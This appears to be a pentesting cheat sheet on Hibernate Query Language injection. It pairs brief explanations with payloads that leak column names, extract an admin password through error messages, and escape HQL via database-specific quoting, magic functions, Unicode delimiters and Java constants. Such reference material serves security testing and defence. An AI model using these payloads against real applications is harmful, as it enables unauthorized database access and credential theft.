# Hibernate Query Language Injection
> Hibernate ORM (Hibernate in short) is an object-relational mapping tool for the Java programming language. It provides a framework for mapping an object-oriented domain model to a relational database. - Wikipedia

## HQL Comments
HQL does not support comments.
## HQL List Columns
```sql
from BlogPosts
where title like '%'
and DOESNT_EXIST=1 and ''='%' --
and published = true
```
Using an unexisting column will an exception leaking several columns names.
```sql
org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:
select blogposts0_.id as id21_, blogposts0_.author as author21_, blogposts0_.promoCode as promo3_21_, blogposts0_.title as title21_, blogposts0_.published as published21_ from BlogPosts blogposts0_ where blogposts0_.title like '%' or DOESNT_EXIST='%' and blogposts0_.published=1 [42122-159]
```
## HQL Error Based
```sql
from BlogPosts
where title like '%11'
and (select password from User where username='admin')=1
or ''='%'
and published = true
```
Error based on value casting.
```sql
Data conversion error converting "d41d8cd98f00b204e9800998ecf8427e"; SQL statement:
select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.promotionCode as promotio3_18_, blogposts0_.title as title18_, blogposts0_.visible as visible18_ from BlogPosts blogposts0_ where blogposts0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and blogposts0_.published=1
```
:warning: **HQL does not support UNION queries**
## Single Quote Escaping
Method works for MySQL DBMS which escapes SINGLE QUOTES in strings with SLASH `\'`.
In HQL SINGLE QUOTES is escaped in strings by doubling `''`.
```sql
'abc\''or 1=(select 1)--'
```
In HQL it is a string, in MySQL it is a string and additional SQL expression.
## $-quoted strings
Method works for DBMS which allow DOLLAR-QUOTED strings in SQL expressions: PostgreSQL, H2.
Hibernate ORM allows identifiers starting with `$$`.
```sql
$$='$$=concat(chr(61),chr(39)) and 1=1--'
```
## DBMS Magic functions
Method works for DBMS which have MAGIC FUNCTIONS which evaluate SQL expression in string parameter: PostgreSQL, Oracle.
Hibernate allows to specify any function name in HQL expression.
PostgreSQL has built-in function `query_to_xml('Arbitrary SQL')`.
```sql
array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1)
```
Oracle has built-in function `DBMS_XMLGEN.getxml('SQL')`
```sql
NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1'
```
## Unicode
Method works for DBMS which allow UNICODE delimiters (Ex. U+00A0) between SQL tokens: Microsoft SQL Server, H2.
In Microsoft SQL SERVER `SELECT LEN([U+00A0](select[U+00A0](1))` works the same as `SELECT LEN((SELECT(1)))`;
HQL allows UNICODE symbols in identifiers (function or parameter names).
```sql
SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1<LEN( (select top 1 name from users)) or '1'='11'
```
## Java constants
Method works for most DBMS (does not work for MySQL).
Hibernate resolves Java public static fields (Java constants) in HQL queries:
- Class with Java constant must be in classpath
- Ex. `java.lang.Character.SIZE` is resolved to 16
- String or char constants are additionally surrounded by single quotes
To use JAVA CONSTANTS method we need special char or string fields declared in classes or interfaces on classpath.
```java
public class Constants {
public static final String S_QUOTE = "'";
public static final String HQL_PART = "select * from Post where name = '";
public static final char C_QUOTE_1 = '\'';
public static final char C_QUOTE_2 = '\047';
public static final char C_QUOTE_3 = 39;
public static final char C_QUOTE_4 = 0x27;
public static final char C_QUOTE_5 = 047;
}
```
Some usable constants in well-known Java libraries:
```ps1
org.apache.batik.util.XMLConstants.XML_CHAR_APOS [ Apache Batik ]
com.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTE [ ICU4J ]
jodd.util.StringPool.SINGLE_QUOTE [ Jodd ]
ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR [ Logback ]
cz.vutbr.web.csskit.OutputUtil.STRING_OPENING [ jStyleParser ]
com.sun.java.help.impl.DocPConst.QUOTE [ JavaHelp ]
org.eclipse.help.internal.webapp.utils.JSonHelper.QUOTE [ EclipseHelp ]
```
```sql
dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1
```
